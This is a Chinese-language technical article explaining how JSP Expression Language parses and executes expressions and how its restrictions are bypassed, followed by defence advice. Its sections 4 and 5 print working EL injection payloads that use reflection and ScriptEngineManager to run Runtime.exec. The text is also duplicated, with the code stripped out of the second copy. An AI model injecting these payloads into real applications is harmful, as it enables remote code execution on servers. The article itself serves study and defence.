EL表达式的执行限制及绕过
字数 1456 2025-08-20 18:17:53

EL表达式执行限制及绕过技术分析

1. EL表达式基础原理

EL(Expression Language)表达式在JSP中主要用于动态执行操作,其核心执行流程如下:

  1. 解析过程

    • 将EL表达式字符串解析成多个Node结点
    • 在JSP中通过proprietaryEvaluate方法将表达式解析成ValueExpression实现类
    • children变量存储了抽象出的各个Node结点
  2. 执行过程

    • 通过AstValue#getValue方法执行表达式
    • 取出第一个Node作为base结点,获取结点数、ElResolver等
    • 循环遍历每个子结点,以.为分割符
    • 下一个结点通常是AstDotSuffix类对象

2. 方法调用机制

当表达式调用方法时:

  1. 如果下下个结点是AstMethodParameters类对象,表示正在调用方法
  2. 通过getParameters获取参数,AstMethodParameters#getParameters将参数数组化
  3. 核心执行在ElResolver#invoke方法中
  4. EL支持多种解析器,其中第7个BeanELResolver是核心解析器

执行流程

  1. 将method转化成String类型的方法名
  2. 在基类base中查找该方法
  3. 通过反射调用该方法
  4. 将执行结果设置为新的base基类,进行下一次循环

3. Node结点类型分析

EL表达式解析后会产生多种Node类型:

  1. AstMapData:返回HashMap结构的数据
  2. AstConcatenation:拼接两个字符串并返回结果
  3. AstLambdaExpression:支持lambda表达式执行
  4. AstListData:处理list数据
  5. AstBracketSuffix:处理[]中的数据

4. 非常规执行方式

4.1 中括号调用方式

除了常规的.调用方式,还可以使用[]中括号进行方法调用:

${param['class']()['forName']("javax.script.ScriptEngineManager")['newInstance']()['getEngineByName']("js")['eval']("java.lang.Runtime.getRuntime().exec(\"calc\")")}

执行原理

  1. AstBracketSuffix#getValue方法返回[]内的第一项内容
  2. 如果是字符串,解析成AstString类,其getValue方法直接返回值
  3. 效果等同于使用.进行反射调用

4.2 Getter/Setter机制

在EL表达式中:

  • 通过.访问属性实际上是调用对应属性的getter方法
  • 使用=连接的表达式解析成AstAssign,等号两边作为该结点的两个子结点
  • 通过调用结点的getValue方法进行表达式求值

5. 安全绕过技术

5.1 反射调用绕过

通过反射调用关键类和方法实现命令执行:

${param.getClass().forName(param.c).newInstance().eval(param.cmd)}

5.2 脚本引擎利用

通过ScriptEngineManager执行JavaScript代码:

${param.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"calc\")")}

5.3 参数化调用

通过请求参数动态传入类名和方法名:

${param[param.method](param.args)}

6. 防御建议

  1. 输入过滤

    • 严格过滤EL表达式中的特殊字符和关键字
    • 禁用反射相关类和方法
  2. 配置限制

    • 禁用EL表达式中的方法调用功能
    • 限制可解析的类范围
  3. 安全编码

    • 避免直接使用用户输入构建EL表达式
    • 使用安全的表达式解析器替代标准EL
  4. 运行时防护

    • 监控可疑的反射调用
    • 限制脚本引擎的使用

7. 总结

EL表达式的动态执行特性虽然提供了灵活性,但也带来了安全风险。攻击者可以通过反射、脚本引擎等多种方式绕过限制执行任意代码。理解EL表达式的解析和执行机制,有助于更好地防御相关攻击。开发者应严格限制EL表达式的使用场景,并对用户输入进行严格过滤和验证。

EL表达式执行限制及绕过技术分析 1. EL表达式基础原理 EL(Expression Language)表达式在JSP中主要用于动态执行操作,其核心执行流程如下: 解析过程 : 将EL表达式字符串解析成多个 Node 结点 在JSP中通过 proprietaryEvaluate 方法将表达式解析成 ValueExpression 实现类 children 变量存储了抽象出的各个Node结点 执行过程 : 通过 AstValue#getValue 方法执行表达式 取出第一个Node作为base结点,获取结点数、ElResolver等 循环遍历每个子结点,以 . 为分割符 下一个结点通常是 AstDotSuffix 类对象 2. 方法调用机制 当表达式调用方法时: 如果下下个结点是 AstMethodParameters 类对象,表示正在调用方法 通过 getParameters 获取参数, AstMethodParameters#getParameters 将参数数组化 核心执行在 ElResolver#invoke 方法中 EL支持多种解析器,其中第7个 BeanELResolver 是核心解析器 执行流程 : 将method转化成String类型的方法名 在基类base中查找该方法 通过反射调用该方法 将执行结果设置为新的base基类,进行下一次循环 3. Node结点类型分析 EL表达式解析后会产生多种Node类型: AstMapData :返回HashMap结构的数据 AstConcatenation :拼接两个字符串并返回结果 AstLambdaExpression :支持lambda表达式执行 AstListData :处理list数据 AstBracketSuffix :处理 [] 中的数据 4. 非常规执行方式 4.1 中括号调用方式 除了常规的 . 调用方式,还可以使用 [] 中括号进行方法调用: 执行原理 : AstBracketSuffix#getValue 方法返回 [] 内的第一项内容 如果是字符串,解析成 AstString 类,其 getValue 方法直接返回值 效果等同于使用 . 进行反射调用 4.2 Getter/Setter机制 在EL表达式中: 通过 . 访问属性实际上是调用对应属性的getter方法 使用 = 连接的表达式解析成 AstAssign ,等号两边作为该结点的两个子结点 通过调用结点的 getValue 方法进行表达式求值 5. 安全绕过技术 5.1 反射调用绕过 通过反射调用关键类和方法实现命令执行: 5.2 脚本引擎利用 通过ScriptEngineManager执行JavaScript代码: 5.3 参数化调用 通过请求参数动态传入类名和方法名: 6. 防御建议 输入过滤 : 严格过滤EL表达式中的特殊字符和关键字 禁用反射相关类和方法 配置限制 : 禁用EL表达式中的方法调用功能 限制可解析的类范围 安全编码 : 避免直接使用用户输入构建EL表达式 使用安全的表达式解析器替代标准EL 运行时防护 : 监控可疑的反射调用 限制脚本引擎的使用 7. 总结 EL表达式的动态执行特性虽然提供了灵活性,但也带来了安全风险。攻击者可以通过反射、脚本引擎等多种方式绕过限制执行任意代码。理解EL表达式的解析和执行机制,有助于更好地防御相关攻击。开发者应严格限制EL表达式的使用场景,并对用户输入进行严格过滤和验证。